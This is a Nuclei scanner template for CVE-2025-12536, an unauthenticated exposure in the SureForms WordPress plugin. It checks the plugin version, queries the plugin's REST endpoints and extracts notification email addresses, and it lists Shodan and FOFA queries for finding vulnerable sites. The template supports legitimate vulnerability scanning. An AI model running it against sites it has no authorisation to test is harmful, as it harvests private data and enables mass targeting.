SureForms <= 1.13.1 - Sensitive Information Exposure

id: CVE-2025-12536

info:
  name: SureForms <= 1.13.1 - Sensitive Information Exposure
  author: pussycat0x
  severity: medium
  description: |
    SureForms WordPress plugin <= 1.13.1 contains a sensitive information exposure caused by setting 'auth_callback' to '__return_true' in '_srfm_email_notification' post meta registration, letting unauthenticated attackers access sensitive email notification data, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can access sensitive email notification configurations, potentially leading to data leakage and abuse of downstream systems.
  remediation: |
    Update to the latest version beyond 1.13.1.
  reference:
    - https://patchstack.com/database/wordpress/plugin/sureforms/vulnerability/wordpress-sureforms-plugin-1-13-1-unauthenticated-sensitive-information-exposure-vulnerability
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/sureforms/sureforms-1131-missing-authorization-to-unauthenticated-sensitive-information-exposure
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-12536
    epss-score: 0.00848
    epss-percentile: 0.57626
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 3
    vendor: brainstormforce
    product: sureforms
    framework: wordpress
    shodan-query: 'http.html:"/wp-content/plugins/sureforms/"'
    fofa-query: body="/wp-content/plugins/sureforms/"
    publicwww-query: "/wp-content/plugins/sureforms/"
  tags: cve,cve2025,wordpress,wp-plugin,sureforms,exposure,wp,

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/sureforms/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "SureForms")'
          - compare_versions(version, '<= 1.13.1')
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - '(?i)Stable.tag:\s?([\w.]+)'
        internal: true

  - raw:
      - |
        GET /{{route}} HTTP/1.1
        Host: {{Hostname}}

    attack: clusterbomb
    payloads:
      route:
        - "wp-json/wp/v2/sureforms_form"
        - "?rest_route=/wp/v2/sureforms_form"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: content_type
        words:
          - "application/json"

      - type: word
        part: body
        words:
          - "_srfm_email_notification"
          - "sureforms_form"
        condition: and

      - type: word
        part: body
        words:
          - "email_to"
          - "email_cc"
          - "email_bcc"
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: email_to
        part: body
        group: 1
        regex:
          - '"email_to"\s*:\s*"([^"]+)"'

      - type: regex
        name: email_cc
        part: body
        group: 1
        regex:
          - '"email_cc"\s*:\s*"([^"]+)"'

      - type: regex
        name: email_bcc
        part: body
        group: 1
        regex:
          - '"email_bcc"\s*:\s*"([^"]+)"'
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